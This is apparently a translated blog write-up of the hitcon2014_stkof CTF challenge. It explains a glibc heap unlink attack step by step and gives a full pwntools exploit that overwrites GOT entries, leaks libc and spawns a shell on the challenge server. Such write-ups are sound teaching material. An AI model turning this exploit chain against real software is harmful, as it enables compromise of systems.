buuctf pwn hitcon2014_stkof first met unlink

Recently, I started to learn heap. I read the wiki and some big guys’ articles to understand this topic about unlink: hitcon2014_stkof

First drag in ida and look at a few main functions:

Insert picture description here

Function 1, create a heap, and you can see that the address of the heap is stored at s, click in to see

Insert picture description here

It is found that it is the bss segment. A pointer like this is a feature of this type of
Insert picture description here
topic. Function 2, Edit heap content, length can be set by yourself, there is a heap overflow vulnerability
Insert picture description here
Function 3, free heap

Function 4 is not very useful

First write the three functions:

def alloc(size):
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil('OK\n')

def edit(idx, size, content):
    sh.sendline('2')
    sh.sendline(str(idx))
    sh.sendline(str(size))
    sh.send(content)
    sh.recvuntil('OK\n')

def delete(idx):
    sh.sendline('3')
	sh.sendline(str(idx))

Then create three heaps

alloc(0x100)
alloc(0x20)
alloc(0x80)

Note that the size of the third heap, which is smaller than 0x80, will be classified into fastbin

After this step, let's take a look at the layout of the bss segment and heap:

Bss segment:
Insert picture description here
then the second chunk and the third chunk: it
Insert picture description here
is not difficult to see that the addresses of chunk1, chunk2, and chunk3 are stored at 0x602148, 0x602150, and 0x602158 respectively

Because we want to fake the fake chunk at chunk2 and then free chunk3, we set the place where the chunk2 address is stored, that is, 0x602150 as ptr, and then construct the fake chunk and write the overflow data

ptr=0x602150
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)

After this step, the situation of chunk2 and chunk3 is like this:
Insert picture description here

Pay attention to the 0x20 and 0x90 in the header of chunk3, and set the F position of chunk3 to 0, indicating that the previous chunk is idle, and prev_size is the size of the previous fake chunk

Then free chunk3

delete(3)

This is the most critical step, a lot has happened

When we free chunk3, the system judges whether the previous chunk is in an idle state. We have arranged the F bit and prev_size of chunk3 through heap overflow. Therefore, the system considers the previous chunk to be in an idle state and locates it based on the location of chunk3 and prev_size. Go to the previous chunk, which is our fake chunk. Then it is to merge these two chunks. At this time, we need to judge again. The conditions for judgment here are:

FD->bk=fake chunk && BK->fd=fake chunk

Among them,
FD=fake chunk->fd
BK=fake chunk->bk

ie
FD=0x602138
BK=0x602140,

so
FD->bk=FD+0x18
BK->fd=BK+0x10

The results of both are stored at 0x602150 The address of 0xe05940 is the address of the fake chunk, so we bypassed the detection

Next,

FD->bk=BK

BK->fd=FD

That is, first modify the data stored at 0x602150 to 0x602140, and then change it to 0x602138, so the bss segment becomes like this:
Insert picture description here
0x602150 should have stored the address of chunk2, but now it has been changed by us, we can use it At this point, write data to chunk2 and continue to rewrite

elf=ELF('./stkof')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)

Since the chunk2 pointer has been modified by us, after this step, the data in the bss segment is actually changed instead of the data in chunk2. The bss segment is as follows:
Insert picture description here

In this way, the chunk1 and chunk3 pointers are also changed to the got address of the free function and puts function respectively. In this way, when writing data to chunk1, we actually modify the got address of the free function.

edit(1,8,p64(puts_plt))
delete(3)

After this step, the got address of the free function was changed to the plt address of the puts function. Free chunk3 actually executes the puts function and outputs the got address of puts.

libc=ELF('./libc.so.6')
base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']

After output, calculate the base address and system function address

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)

The last step is the same as above, change the got address of the free function to the address of the system function, write "/bin/sh" to the bss segment, and then execute the system function to get shell

Full exp:

from pwn import *
sh=remote("node3.buuoj.cn",27974)
#sh=process("./stkof")
context.log_level='debug'
elf=ELF('./stkof')
libc=ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
ptr=0x602150
def alloc(size):
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil('OK\n')

def edit(idx, size, content):
    sh.sendline('2')
    sh.sendline(str(idx))
    sh.sendline(str(size))
    sh.send(content)
    sh.recvuntil('OK\n')

def delete(idx):
    sh.sendline('3')
    sh.sendline(str(idx))
    

alloc(0x100)
alloc(0x20)
alloc(0x80)

payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)

delete(3)
sh.recvuntil('OK')

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
edit(1,8,p64(puts_plt))
delete(3)


base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']


payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)
sh.interactive()

My code reference is this article: https://thinkycx.me/2018-11-30-HITCON2014-stkof.html

The implementation on the wiki is slightly different, but it is also easy to understand

Guess you like

Origin blog.csdn.net/weixin_45677731/article/details/107747124